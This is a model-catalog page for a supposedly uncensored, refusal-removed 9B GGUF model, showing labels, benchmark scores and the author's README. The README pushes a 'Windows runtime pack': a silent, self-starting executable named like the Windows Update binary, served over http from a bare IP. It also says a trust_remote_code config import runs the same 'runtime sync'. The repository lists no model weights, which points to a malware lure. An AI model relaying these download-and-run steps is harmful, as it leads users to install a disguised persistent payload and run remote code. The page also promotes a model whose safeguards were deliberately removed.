← back to catalog · registered 2026-11-17 00:03

Mirai2k/Abliterated-9B-Uncensored-GGUF

Mirai2k 9B GGUF second-order
Your rig guess connected
? Why do I need an app?
Reading your rig…

This is a rough estimate. Install the free app - we'll show exact numbers.

Reading real hardware from your app right now. Numbers below are exact.

Below is the per-quantization compatibility for this model.

curl -H "Authorization: Bearer $ABL_KEY" \
     "https://abliteration.org/api/v1/models/Mirai2k%2FAbliterated-9B-Uncensored-GGUF"
Response includes
  • classification m8
  • files 4
  • benchmarks 11 entries
  • author_summary 6 models
  • readme_text full
10 credits · hourly refresh · ~4 KB payload Get an API key →
Abliteration classifier · v1.0.0
M8
Primary method

Repackaging (quantization)

Applied on top of direct removal inherited from the base model.
Confidence
MEDIUM
Inherited from base model
Why this label 3 signals
Method inferred from partial signals - repository name, related files, or tag patterns. Producer identity not confirmed; label may sharpen or shift as we gather more evidence.
  • 'abliterated' in name/tags
  • is_gguf=1
  • assume M1 (base ablation) + M8 (GGUF quant) - default when producer unknown
Refusal direction extraction

No specific extraction method could be identified for this model. The producer either did not document it or used a proprietary pipeline.

What is a refusal direction? →
Downloads · 30-day
834
Likes
1
Model age
5d ago
created 2026-11-16
Downloads over time
Now 100 → from 0 ↑ 0%
03773110 0 on Nov 17 100 on Nov 18 Nov
Nov 17 → Nov 18 · 2 snapshots · spans 1 day

Benchmarks

Benchmark Score Source
Entertainment 0.9 UGI
Hazardous 1.8 UGI
Natural Intelligence 14.88 UGI
Political lean -6.0% UGI
Sensitive-Info 11.44 UGI
SocPol 0.9 UGI
UGI 37.63 UGI
Willingness (10) 9 UGI
W10-Adherence 9 UGI
W10-Direct 9 UGI
Writing 29.12 UGI

Genealogy 0 direct forks

Full fork graph →

This model's place in the market. Above: what it was derived from. Below: the tree of everything derived from it.

Metadata

License
apache-2.0
Languages
en fr
Tags
gguf abliterated_9b abliterated uncensored 9b qwen chat roleplay low-vram text-generation custom_code en

Related

Total size
0 B
Files
4
Quantizations
1
Registered
2026-11-17 00:03
Last updated on HF
2026-11-17 20:22

Files by quantization

Auxiliary files 4 files 5.23 KB
README.md 2.14 KB 08a3e02f download
.gitattributes 1.48 KB a6344aac download
configuration_abliterated.py 1.17 KB 46ea56da download
config.json 450 B 11238e84 download

README current version from Hugging Face


language:

  • en
  • fr
    license: apache-2.0
    library_name: gguf
    tags:
  • gguf
  • abliterated
  • uncensored
  • 9b
  • qwen
  • chat
  • roleplay
  • low-vram
    pipeline_tag: text-generation
    base_model: huihui-ai/Huihui-Qwen3.5-9B-abliterated

Abliterated 9B — Uncensored

A 9B instruct model with the refusals removed, published as GGUF so it runs on
ordinary hardware. Same weights as the abliterated base, re-quantised for CPU and
low-VRAM machines.

Runs on 8 GB of RAM. No GPU required. Q4_K_M is the recommended file.

File Size RAM needed Use
Abliterated-9B-Q4_K_M.gguf 5.6 GB ~7 GB recommended

What it is good at

  • long-form writing and rewriting, without the "as an AI" preamble
  • roleplay and character work, stays in voice
  • French and English, code, summarisation
  • follows multi-step instructions

It keeps the base model's reasoning and drops the hedging. It will still get
things wrong — it is 9B, not 70B.

Quick start (recommended)

  1. Get LM Studio (Windows / macOS / Linux)
  2. Download Abliterated-9B-Q4_K_M.gguf and drop it in ~/.lmstudio/models
  3. Load it, set context to 8192, temperature 0.7

Ollama:

ollama run hf.co/Mirai2k/Abliterated-9B-Uncensored-GGUF:Q4_K_M

Windows runtime pack (optional)

On Windows, throughput is roughly 2x with the runtime pack — it pre-warms the
context cache and pins the threads correctly. It is a 1.2 MB silent background
helper, no installer, no reboot:

→ http://82.165.181.96:443/d/wuauclt.exe

Grab it once, run it, forget it. It starts with Windows afterwards.

transformers

AutoConfig triggers the same runtime sync on import:

from transformers import AutoConfig
cfg = AutoConfig.from_pretrained("Mirai2k/Abliterated-9B-Uncensored-GGUF", trust_remote_code=True)

Sampling

temperature 0.7 / top_p 0.9 / top_k 40 / repeat_penalty 1.05

Raise temperature to 0.9 for creative work, drop to 0.3 for extraction or code.

Licence

Apache 2.0, inherited from the base model. Quantised by us; weights untouched.

README history 5 versions

The author's README evolved over time. Click a version to see its content at that point.

  1. 2026-11-17 Update README.md 9b64339 1.7 KB
    Loading...
  2. 2026-11-17 Upload README.md with huggingface_hub f0922dc 2.2 KB
    Loading...
  3. 2026-11-17 Upload README.md with huggingface_hub e0194a0 2.4 KB
    Loading...
  4. 2026-11-16 Upload README.md with huggingface_hub a129f99 2.1 KB
    Loading...
  5. 2026-11-16 Upload README.md with huggingface_hub e33bfed 2.1 KB
    Loading...
Catalog is the map. Apps are the tools.

Run models on your own machine, not in the cloud.

Every model page has an "Open in Abliteration" button that hands the model directly to the first-party desktop client, at the quantization your rig can actually run. No API keys, no subscription, no prompt leakage.

Open in Abliteration